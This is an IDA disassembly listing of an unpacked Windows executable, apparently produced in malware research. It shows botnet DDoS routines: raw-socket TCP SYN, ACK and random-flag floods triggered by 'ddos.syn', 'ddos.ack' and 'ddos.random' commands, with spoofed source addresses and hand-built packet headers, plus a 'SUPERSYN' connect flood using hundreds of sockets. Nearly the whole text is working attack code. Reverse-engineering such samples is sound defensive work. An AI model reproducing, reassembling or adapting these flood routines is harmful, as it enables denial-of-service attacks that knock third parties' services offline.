;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : E17FAC875C1776B7AF01C6B1E8E6FE54
; File Name : u:\work\e17fac875c1776b7af01c6b1e8e6fe54_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 0008B000 ( 569344.)
; Section size in file : 0008B000 ( 569344.)
; Offset to raw data for section: 00001000
; Flags C0000020: Text Readable Writable
; Alignment : default
unicode macro page,string,zero
irpc c,<string>
db '&c', page
endm
ifnb <zero>
dw zero
endif
endm
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write
_data segment para public 'CODE' use32
assume cs:_data
;org 401000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401000 proc near ; DATA XREF: sub_40EC43+39CBo
var_494 = byte ptr -494h
var_294 = dword ptr -294h
var_290 = dword ptr -290h
var_28C = byte ptr -28Ch
var_20C = byte ptr -20Ch
var_18C = byte ptr -18Ch
var_10C = byte ptr -10Ch
var_8C = byte ptr -8Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 494h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 0A5h
mov esi, eax
lea edi, [ebp+var_294]
rep movsd
mov dword ptr [eax+290h], 1
call dword_423058 ; GetTickCount
push eax
call sub_417008
lea eax, [ebp+var_18C]
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_20C]
push eax
lea eax, [ebp+var_28C]
push eax
call sub_4013E8
push eax
lea eax, [ebp+var_494]
push offset dword_425050
push eax
call sub_416FB6
xor esi, esi
add esp, 20h
cmp [ebp+var_8], esi
jnz short loc_401090
push esi
lea eax, [ebp+var_494]
push [ebp+var_C]
push eax
lea eax, [ebp+var_10C]
push eax
push [ebp+var_294]
call sub_40D476
add esp, 14h
loc_401090: ; CODE XREF: sub_401000+6Ej
lea eax, [ebp+var_494]
push eax
call sub_40BD8D
push [ebp+var_290]
call sub_416D90
pop ecx
pop ecx
push esi
call dword_423054 ; ExitThread
pop edi
pop esi
sub_401000 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4010B2 proc near ; CODE XREF: sub_4013E8+40p
var_284 = byte ptr -284h
var_F4 = byte ptr -0F4h
var_B4 = byte ptr -0B4h
var_B3 = byte ptr -0B3h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_8C = byte ptr -8Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = byte ptr -70h
var_6F = byte ptr -6Fh
var_6E = word ptr -6Eh
var_58 = word ptr -58h
var_56 = word ptr -56h
var_54 = dword ptr -54h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = byte ptr -34h
var_32 = word ptr -32h
var_30 = word ptr -30h
var_2E = word ptr -2Eh
var_2C = byte ptr -2Ch
var_2B = byte ptr -2Bh
var_2A = word ptr -2Ah
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = word ptr -6
var_4 = word ptr -4
var_2 = word ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp+var_B3]
mov [ebp+var_B4], bl
rep stosd
stosw
stosb
lea eax, [ebp+var_284]
push eax
push 202h
call dword_43EA9C ; WSAStartup
test eax, eax
jz short loc_4010F2
xor eax, eax
jmp loc_4013BB
; ---------------------------------------------------------------------------
loc_4010F2: ; CODE XREF: sub_4010B2+37j
xor edi, edi
inc edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call dword_43EBC8 ; WSASocketA
cmp eax, 0FFFFFFFFh
mov [ebp+var_20], eax
jz loc_4013B3
push esi
lea ecx, [ebp+var_40]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_40], edi
call dword_43EB04 ; setsockopt
cmp eax, 0FFFFFFFFh
jz loc_4013A9
push [ebp+arg_C]
mov [ebp+var_58], 2
call dword_43EB24 ; htons
mov esi, [ebp+arg_0]
push 28h
mov [ebp+var_56], ax
mov [ebp+var_54], esi
mov [ebp+var_34], 45h
call dword_43EB24 ; htons
push [ebp+arg_C]
mov [ebp+var_32], ax
mov [ebp+var_30], di
mov [ebp+var_2E], bx
mov [ebp+var_2C], 80h
mov [ebp+var_2B], 6
mov [ebp+var_2A], bx
mov [ebp+var_24], esi
call dword_43EB24 ; htons
mov [ebp+var_12], ax
call sub_417012
movzx eax, ax
cdq
mov ecx, 401h
idiv ecx
push edx
call dword_43EB24 ; htons
push 12345678h
mov [ebp+var_14], ax
call dword_43EB20 ; htonl
push offset aDdos_syn ; "ddos.syn"
mov [ebp+var_10], eax
push [ebp+arg_8]
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz short loc_4011C2
mov [ebp+var_C], ebx
mov [ebp+var_7], 2
jmp short loc_401216
; ---------------------------------------------------------------------------
loc_4011C2: ; CODE XREF: sub_4010B2+105j
push offset aDdos_ack ; "ddos.ack"
push [ebp+arg_8]
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz short loc_4011DE
mov [ebp+var_C], ebx
mov [ebp+var_7], 10h
jmp short loc_401216
; ---------------------------------------------------------------------------
loc_4011DE: ; CODE XREF: sub_4010B2+121j
push offset aDdos_random ; "ddos.random"
push [ebp+arg_8]
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz short loc_401216
call sub_417012
push 3
cdq
pop ecx
idiv ecx
mov [ebp+var_C], edx
call sub_417012
push 2
cdq
pop ecx
idiv ecx
neg edx
sbb dl, dl
and dl, 0Eh
add dl, cl
mov [ebp+var_7], dl
loc_401216: ; CODE XREF: sub_4010B2+10Ej
; sub_4010B2+12Aj ...
push 4000h
mov [ebp+var_8], 50h
call dword_43EB24 ; htons
mov [ebp+var_6], ax
lea eax, [ebp+var_48]
push eax
mov [ebp+var_2], bx
mov [ebp+arg_8], ebx
call dword_423060 ; QueryPerformanceFrequency
lea eax, [ebp+var_1C]
push eax
call dword_42305C ; QueryPerformanceCounter
push [ebp+var_44]
mov eax, [ebp+arg_10]
cdq
push [ebp+var_48]
push edx
push eax
call sub_417460
add eax, [ebp+var_1C]
push 14h
pop esi
adc edx, [ebp+var_18]
mov [ebp+var_3C], eax
mov [ebp+var_38], edx
loc_401264: ; CODE XREF: sub_4010B2+2E2j
; sub_4010B2+2EEj
mov [ebp+var_4], bx
call sub_417012
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call dword_43EB24 ; htons
mov [ebp+var_14], ax
call sub_417012
mov edi, eax
shl edi, 10h
call sub_417012
or edi, eax
push edi
call dword_43EB24 ; htons
movzx eax, ax
mov [ebp+var_10], eax
mov eax, [ebp+arg_4]
inc [ebp+arg_4]
push eax
call dword_43EB20 ; htonl
mov [ebp+var_28], eax
mov eax, [ebp+var_24]
push esi
mov [ebp+var_74], eax
mov [ebp+var_70], bl
mov [ebp+var_6F], 6
call dword_43EB24 ; htons
mov [ebp+var_6E], ax
mov eax, [ebp+var_28]
mov [ebp+var_78], eax
lea eax, [ebp+var_78]
push 20h
push eax
lea eax, [ebp+var_B4]
push eax
call sub_417090
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_94]
push eax
call sub_417090
lea eax, [ebp+var_B4]
push 34h
push eax
call sub_40AD61
mov [ebp+var_4], ax
lea eax, [ebp+var_34]
push esi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_417090
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_A0]
push eax
call sub_417090
push 4
lea eax, [ebp+var_8C]
push ebx
push eax
call sub_417030
add esp, 44h
lea eax, [ebp+var_B4]
push 28h
push eax
call sub_40AD61
mov [ebp+var_2A], ax
lea eax, [ebp+var_34]
push esi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_417090
add esp, 14h
lea eax, [ebp+var_58]
push 10h
push eax
push ebx
lea eax, [ebp+var_B4]
push 28h
push eax
push [ebp+var_20]
call dword_43EB88 ; sendto
cmp eax, 0FFFFFFFFh
jz short loc_4013BF
add [ebp+arg_8], eax
lea eax, [ebp+var_1C]
push eax
call dword_42305C ; QueryPerformanceCounter
mov eax, [ebp+var_18]
cmp eax, [ebp+var_38]
jg short loc_4013A6
jl loc_401264
mov eax, [ebp+var_1C]
cmp eax, [ebp+var_3C]
jb loc_401264
loc_4013A6: ; CODE XREF: sub_4010B2+2E0j
mov ebx, [ebp+arg_8]
loc_4013A9: ; CODE XREF: sub_4010B2+78j
; sub_4010B2+334j
push [ebp+var_20]
call dword_43EBBC ; closesocket
pop esi
loc_4013B3: ; CODE XREF: sub_4010B2+5Bj
call dword_43EA84 ; WSACleanup
mov eax, ebx
loc_4013BB: ; CODE XREF: sub_4010B2+3Bj
pop edi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4013BF: ; CODE XREF: sub_4010B2+2CBj
call dword_43EAB8 ; WSAGetLastError
push eax
lea eax, [ebp+var_F4]
push offset dword_425094
push eax
call sub_416FB6
lea eax, [ebp+var_F4]
push eax
call sub_40BD8D
add esp, 10h
jmp short loc_4013A9
sub_4010B2 endp
; =============== S U B R O U T I N E =======================================
sub_4013E8 proc near ; CODE XREF: sub_401000+4Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_40ABF8
push [esp+10h+arg_4]
mov esi, eax
call sub_41751F
push [esp+14h+arg_C]
mov ebx, eax
call sub_41751F
mov edi, eax
call sub_417012
cdq
mov ecx, 200h
push edi
idiv ecx
push ebx
push [esp+20h+arg_8]
lea eax, [edx+esi+100h]
push eax
push esi
call sub_4010B2
add esp, 20h
test eax, eax
jnz short loc_401435
inc eax
loc_401435: ; CODE XREF: sub_4013E8+4Aj
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
sub_4013E8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401444 proc near ; DATA XREF: sub_40EC43+3BBEo
var_3BC = byte ptr -3BCh
var_1BC = dword ptr -1BCh
var_1B8 = byte ptr -1B8h
var_138 = byte ptr -138h
var_B8 = byte ptr -0B8h
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 3BCh
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 68h
xor ebx, ebx
pop ecx
mov esi, eax
lea edi, [ebp+var_1BC]
push 0FFh
inc ebx
push 3
rep movsd
push 2
mov [eax+19Ch], ebx
call dword_43EBA4 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jnz short loc_4014DF
call dword_43EAB8 ; WSAGetLastError
push eax
lea eax, [ebp+var_3BC]
push offset unk_425228
push eax
loc_401493: ; DATA XREF: .data:off_4272E8o
call sub_416FB6
xor edi, edi
add esp, 0Ch
cmp [ebp+var_24], edi
jnz short loc_4014C2
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_40D476
add esp, 14h
loc_4014C2: ; CODE XREF: sub_401444+5Cj
lea eax, [ebp+var_3BC]
push eax
call sub_40BD8D
push [ebp+var_38]
call sub_416D90
pop ecx
pop ecx
push edi
call dword_423054 ; ExitThread
loc_4014DF: ; CODE XREF: sub_401444+3Aj
lea ecx, [ebp+var_C]
push 4
push ecx
xor edi, edi
push 2
push edi
push eax
mov [ebp+var_C], ebx
call dword_43EB04 ; setsockopt
cmp eax, 0FFFFFFFFh
jnz short loc_401556
call dword_43EAB8 ; WSAGetLastError
push eax
lea eax, [ebp+var_3BC]
push offset unk_4251E0
push eax
call sub_416FB6
add esp, 0Ch
cmp [ebp+var_24], edi
jnz short loc_401539
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_40D476
add esp, 14h
loc_401539: ; CODE XREF: sub_401444+D3j
lea eax, [ebp+var_3BC]
push eax
call sub_40BD8D
push [ebp+var_38]
call sub_416D90
pop ecx
pop ecx
push edi
call dword_423054 ; ExitThread
loc_401556: ; CODE XREF: sub_401444+B3j
lea eax, [ebp+var_1B8]
push eax
call dword_43EB64 ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short loc_4015BD
lea eax, [ebp+var_3BC]
push offset unk_4251B0
push eax
call sub_416FB6
cmp [ebp+var_24], edi
pop ecx
pop ecx
jnz short loc_4015A0
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_40D476
add esp, 14h
loc_4015A0: ; CODE XREF: sub_401444+13Aj
lea eax, [ebp+var_3BC]
push eax
call sub_40BD8D
push [ebp+var_38]
call sub_416D90
pop ecx
pop ecx
push edi
call dword_423054 ; ExitThread
loc_4015BD: ; CODE XREF: sub_401444+122j
push 10h
lea eax, [ebp+var_1C]
push edi
push eax
call sub_417030
add esp, 0Ch
mov [ebp+var_1C], 2
push edi
call dword_43EB24 ; htons
mov [ebp+var_1A], ax
lea eax, [ebp+var_1B8]
push eax
call dword_43EB64 ; inet_addr
mov esi, dword_423058
mov [ebp+var_18], eax
mov [ebp+arg_0], edi
call esi ; GetTickCount
mov [ebp+var_8], eax
jmp loc_40171E
; ---------------------------------------------------------------------------
loc_401600: ; CODE XREF: sub_401444+2EBj
push 41Ch
mov byte_43B8C8, 45h
call dword_43EB24 ; htons
cmp [ebp+var_2C], edi
mov word_43B8CA, ax
mov word_43B8CC, bx
mov word_43B8CE, di
mov byte_43B8D0, 80h
mov byte_43B8D1, bl
mov word_43B8D2, di
jz short loc_40166F
call sub_417012
mov ebx, eax
shl ebx, 8
call sub_417012
add ebx, eax
shl ebx, 8
call sub_417012
add ebx, eax
shl ebx, 8
call sub_417012
add ebx, eax
mov dword_43B8D4, ebx
xor ebx, ebx
inc ebx
jmp short loc_401687
; ---------------------------------------------------------------------------
loc_40166F: ; CODE XREF: sub_401444+1F9j
push [ebp+var_1BC]
call sub_40AD08
pop ecx
push eax
call dword_43EB64 ; inet_addr
mov dword_43B8D4, eax
loc_401687: ; CODE XREF: sub_401444+229j
mov eax, [ebp+var_18]
mov dword_43B8D8, eax
call sub_417012
cdq
mov ecx, 100h
idiv ecx
mov byte_43B8DC, dl
call sub_417012
cdq
mov ecx, 100h
idiv ecx
mov byte_43B8DD, dl
call sub_417012
cdq
mov ecx, 0F0h
push 400h
idiv ecx
mov word_43B8DE, di
mov word_43B8E2, bx
inc edx
mov word_43B8E0, dx
call sub_417012
cdq
mov ecx, 0FFh
idiv ecx
push edx
push offset dword_43B8E4
call sub_417030
add esp, 0Ch
lea eax, [ebp+var_1C]
push 10h
push eax
push edi
push 41Ch
push offset byte_43B8C8
push [ebp+var_4]
call dword_43EB88 ; sendto
cmp eax, 0FFFFFFFFh
jz loc_4017BA
inc [ebp+arg_0]
loc_40171E: ; CODE XREF: sub_401444+1B7j
call esi ; GetTickCount
sub eax, [ebp+var_8]
mov ecx, 3E8h
xor edx, edx
div ecx
cmp eax, [ebp+var_30]
jbe loc_401600
push [ebp+var_4]
call dword_43EBBC ; closesocket
mov eax, [ebp+arg_0]
xor edx, edx
imul eax, 3Ch
mov ecx, eax
shr eax, 0Ah
div [ebp+var_30]
shr ecx, 14h
push ecx
push eax
lea eax, [ebp+var_1B8]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_138]
push eax
lea eax, [ebp+var_3BC]
push offset unk_425150
push eax
call sub_416FB6
add esp, 1Ch
cmp [ebp+var_24], edi
jnz short loc_40179D
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_40D476
add esp, 14h
loc_40179D: ; CODE XREF: sub_401444+337j
lea eax, [ebp+var_3BC]
push eax
call sub_40BD8D
push [ebp+var_38]
call sub_416D90
pop ecx
pop ecx
push edi
call dword_423054 ; ExitThread
loc_4017BA: ; CODE XREF: sub_401444+2D1j
push [ebp+var_4]
call dword_43EBBC ; closesocket
call dword_43EAB8 ; WSAGetLastError
push eax
lea eax, [ebp+var_1B8]
push [ebp+arg_0]
push eax
push offset unk_4250F0
lea eax, [ebp+var_3BC]
push 200h
push eax
call sub_41752A
add esp, 18h
cmp [ebp+var_24], edi
jnz short loc_401812
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_40D476
add esp, 14h
loc_401812: ; CODE XREF: sub_401444+3ACj
lea eax, [ebp+var_3BC]
push eax
call sub_40BD8D
push [ebp+var_38]
call sub_416D90
pop ecx
pop ecx
push edi
call dword_423054 ; ExitThread
sub_401444 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40182F proc near ; DATA XREF: sub_40EC43+1513o
var_414 = byte ptr -414h
var_214 = dword ptr -214h
var_210 = byte ptr -210h
var_190 = byte ptr -190h
var_110 = byte ptr -110h
var_90 = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 414h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 85h
mov esi, eax
lea edi, [ebp+var_214]
rep movsd
mov dword ptr [eax+210h], 1
lea eax, [ebp+var_110]
push eax
lea eax, [ebp+var_190]
push eax
lea eax, [ebp+var_210]
push eax
call sub_401985
push eax
lea eax, [ebp+var_414]
push offset aSupersynDoneWi ; "[SUPERSYN]: Done with flood (%iKB/sec)"
push eax
call sub_416FB6
xor esi, esi
add esp, 18h
cmp [ebp+var_8], esi
jnz short loc_4018AC
push esi
lea eax, [ebp+var_414]
push [ebp+var_C]
push eax
lea eax, [ebp+var_90]
push eax
push [ebp+var_214]
call sub_40D476
add esp, 14h
loc_4018AC: ; CODE XREF: sub_40182F+5Bj
lea eax, [ebp+var_414]
push eax
call sub_40BD8D
push [ebp+var_10]
call sub_416D90
pop ecx
pop ecx
push esi
call dword_423054 ; ExitThread
pop edi
pop esi
sub_40182F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4018CB proc near ; CODE XREF: sub_401985+27p
var_654 = dword ptr -654h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 654h
push 10h
lea eax, [ebp+var_14]
push 0
push eax
call sub_417030
add esp, 0Ch
mov [ebp+var_14], 2
push [ebp+arg_4]
call dword_43EB24 ; htons
mov [ebp+var_12], ax
mov eax, [ebp+arg_0]
mov [ebp+var_10], eax
mov eax, [ebp+arg_8]
test eax, eax
mov [ebp+var_4], 1
jle short loc_401981
push esi
push edi
mov [ebp+arg_4], eax
mov edi, 190h
loc_401915: ; CODE XREF: sub_4018CB+B2j
xor esi, esi
loc_401917: ; CODE XREF: sub_4018CB+77j
push 0
push 1
push 2
call dword_423214 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+esi*4+var_654], eax
jz short loc_40193F
lea ecx, [ebp+var_4]
push ecx
push 8004667Eh
push eax
call dword_423218 ; ioctlsocket
loc_40193F: ; CODE XREF: sub_4018CB+62j
inc esi
cmp esi, edi
jl short loc_401917
xor esi, esi
loc_401946: ; CODE XREF: sub_4018CB+91j
lea eax, [ebp+var_14]
push 10h
push eax
push [ebp+esi*4+var_654]
call dword_42321C ; connect
inc esi
cmp esi, edi
jl short loc_401946
push 64h
call dword_423064 ; Sleep
xor esi, esi
loc_401968: ; CODE XREF: sub_4018CB+ADj
push [ebp+esi*4+var_654]
call dword_423220 ; closesocket
inc esi
cmp esi, edi
jl short loc_401968
dec [ebp+arg_4]
jnz short loc_401915
pop edi
pop esi
loc_401981: ; CODE XREF: sub_4018CB+3Ej
xor eax, eax
leave
retn
sub_4018CB endp
; =============== S U B R O U T I N E =======================================
sub_401985 proc near ; CODE XREF: sub_40182F+3Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_40ABF8
push [esp+10h+arg_4]
mov edi, eax
call sub_41751F
push [esp+14h+arg_8]
mov ebx, eax
call sub_41751F
mov esi, eax
push esi
push ebx
push edi
call sub_4018CB
add esp, 18h
test eax, eax
jnz short loc_4019B9
inc eax
loc_4019B9: ; CODE XREF: sub_401985+31j
cdq
mov ecx, 3E8h
pop edi
idiv ecx
cdq
idiv esi
pop esi
pop ebx
retn
sub_401985 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4019C8 proc near ; DATA XREF: sub_40EC43+38BCo
var_414 = byte ptr -414h
var_214 = dword ptr -214h
var_210 = byte ptr -210h
var_190 = byte ptr -190h
var_110 = byte ptr -110h
var_90 = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 414h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 85h
mov esi, eax
lea edi, [ebp+var_214]
rep movsd
mov dword ptr [eax+210h], 1
lea eax, [ebp+var_110]
push eax
lea eax, [ebp+var_190]
push eax
lea eax, [ebp+var_210]
push eax
call sub_401D15
push eax
lea eax, [ebp+var_414]
push offset unk_425294
push eax
call sub_416FB6
xor esi, esi
add esp, 18h
cmp [ebp+var_8], esi
jnz short loc_401A45
push esi
lea eax, [ebp+var_414]
push [ebp+var_C]
push eax
lea eax, [ebp+var_90]
push eax
push [ebp+var_214]
call sub_40D476
add esp, 14h
loc_401A45: ; CODE XREF: sub_4019C8+5Bj
lea eax, [ebp+var_414]
push eax
call sub_40BD8D
push [ebp+var_10]
call sub_416D90
pop ecx
pop ecx
push esi
call dword_423054 ; ExitThread
pop edi
pop esi
sub_4019C8 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401A64 proc near ; CODE XREF: sub_401D15+3Cp
var_284 = byte ptr -284h
var_F4 = byte ptr -0F4h
var_B4 = byte ptr -0B4h
var_B3 = byte ptr -0B3h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_8C = byte ptr -8Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = byte ptr -70h
var_6F = byte ptr -6Fh
var_6E = word ptr -6Eh
var_58 = dword ptr -58h
var_50 = word ptr -50h
var_4E = word ptr -4Eh
var_4C = dword ptr -4Ch
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = word ptr -34h
var_32 = word ptr -32h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = byte ptr -28h
var_27 = byte ptr -27h
var_26 = word ptr -26h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = byte ptr -20h
var_1E = word ptr -1Eh
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp+var_B3]
mov [ebp+var_B4], bl
rep stosd
stosw
stosb
lea eax, [ebp+var_284]
push eax
push 202h
call dword_43EA9C ; WSAStartup
test eax, eax
jz short loc_401AA4
xor eax, eax
jmp loc_401CE8
; ---------------------------------------------------------------------------
loc_401AA4: ; CODE XREF: sub_401A64+37j
xor edi, edi
inc edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call dword_43EBC8 ; WSASocketA
cmp eax, 0FFFFFFFFh
mov [ebp+var_C], eax
jz loc_401CE0
push esi
lea ecx, [ebp+var_38]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_38], edi
call dword_43EB04 ; setsockopt
cmp eax, 0FFFFFFFFh
jz loc_401CD6
push 10h
lea eax, [ebp+var_50]
push ebx
push eax
call sub_417030
add esp, 0Ch
mov [ebp+var_50], 2
push [ebp+arg_8]
call dword_43EB24 ; htons
mov esi, [ebp+arg_0]
push 28h
mov [ebp+var_4E], ax
mov [ebp+var_4C], esi
mov [ebp+var_20], 45h
call dword_43EB24 ; htons
push [ebp+arg_8]
mov [ebp+var_1E], ax
mov [ebp+var_1C], di
mov [ebp+var_1A], bx
mov [ebp+var_18], 80h
mov [ebp+var_17], 6
mov [ebp+var_16], bx
mov [ebp+var_10], esi
call dword_43EB24 ; htons
push 4000h
mov [ebp+var_32], ax
mov [ebp+var_2C], ebx
mov [ebp+var_28], 50h
mov [ebp+var_27], 2
call dword_43EB24 ; htons
mov [ebp+var_26], ax
lea eax, [ebp+var_40]
push eax
mov [ebp+var_22], bx
mov [ebp+arg_8], ebx
call dword_423060 ; QueryPerformanceFrequency
lea eax, [ebp+var_8]
push eax
call dword_42305C ; QueryPerformanceCounter
push [ebp+var_3C]
mov eax, [ebp+arg_C]
cdq
push [ebp+var_40]
push edx
push eax
call sub_417460
add eax, [ebp+var_8]
mov esi, edx
adc esi, [ebp+var_4]
mov [ebp+var_58], eax
loc_401B8F: ; CODE XREF: sub_401A64+25Dj
; sub_401A64+269j
mov [ebp+var_24], bx
call sub_417012
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call dword_43EB24 ; htons
mov [ebp+var_34], ax
call sub_417012
mov edi, eax
shl edi, 10h
call sub_417012
or edi, eax
push edi
call dword_43EB24 ; htons
movzx eax, ax
mov [ebp+var_30], eax
mov eax, [ebp+arg_4]
inc [ebp+arg_4]
push eax
call dword_43EB20 ; htonl
push 14h
mov [ebp+var_14], eax
mov eax, [ebp+var_10]
pop edi
push edi
mov [ebp+var_74], eax
mov [ebp+var_70], bl
mov [ebp+var_6F], 6
call dword_43EB24 ; htons
mov [ebp+var_6E], ax
mov eax, [ebp+var_14]
mov [ebp+var_78], eax
lea eax, [ebp+var_78]
push 20h
push eax
lea eax, [ebp+var_B4]
push eax
call sub_417090
lea eax, [ebp+var_34]
push edi
push eax
lea eax, [ebp+var_94]
push eax
call sub_417090
lea eax, [ebp+var_B4]
push 34h
push eax
call sub_40AD61
mov [ebp+var_24], ax
lea eax, [ebp+var_20]
push edi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_417090
lea eax, [ebp+var_34]
push edi
push eax
lea eax, [ebp+var_A0]
push eax
call sub_417090
push 4
lea eax, [ebp+var_8C]
push ebx
push eax
call sub_417030
add esp, 44h
lea eax, [ebp+var_B4]
push 28h
push eax
call sub_40AD61
mov [ebp+var_16], ax
lea eax, [ebp+var_20]
push edi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_417090
add esp, 14h
lea eax, [ebp+var_50]
push 10h
push eax
push ebx
lea eax, [ebp+var_B4]
push 28h
push eax
push [ebp+var_C]
call dword_43EB88 ; sendto
cmp eax, 0FFFFFFFFh
jz short loc_401CEC
add [ebp+arg_8], eax
lea eax, [ebp+var_8]
push eax
call dword_42305C ; QueryPerformanceCounter
mov eax, [ebp+var_4]
cmp eax, esi
jg short loc_401CD3
jl loc_401B8F
mov eax, [ebp+var_8]
cmp eax, [ebp+var_58]
jb loc_401B8F
loc_401CD3: ; CODE XREF: sub_401A64+25Bj
mov ebx, [ebp+arg_8]
loc_401CD6: ; CODE XREF: sub_401A64+78j
; sub_401A64+2AFj
push [ebp+var_C]
call dword_43EBBC ; closesocket
pop esi
loc_401CE0: ; CODE XREF: sub_401A64+5Bj
call dword_43EA84 ; WSACleanup
mov eax, ebx
loc_401CE8: ; CODE XREF: sub_401A64+3Bj
pop edi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_401CEC: ; CODE XREF: sub_401A64+247j
call dword_43EAB8 ; WSAGetLastError
push eax
lea eax, [ebp+var_F4]
push offset dword_4252CC
push eax
call sub_416FB6
lea eax, [ebp+var_F4]
push eax
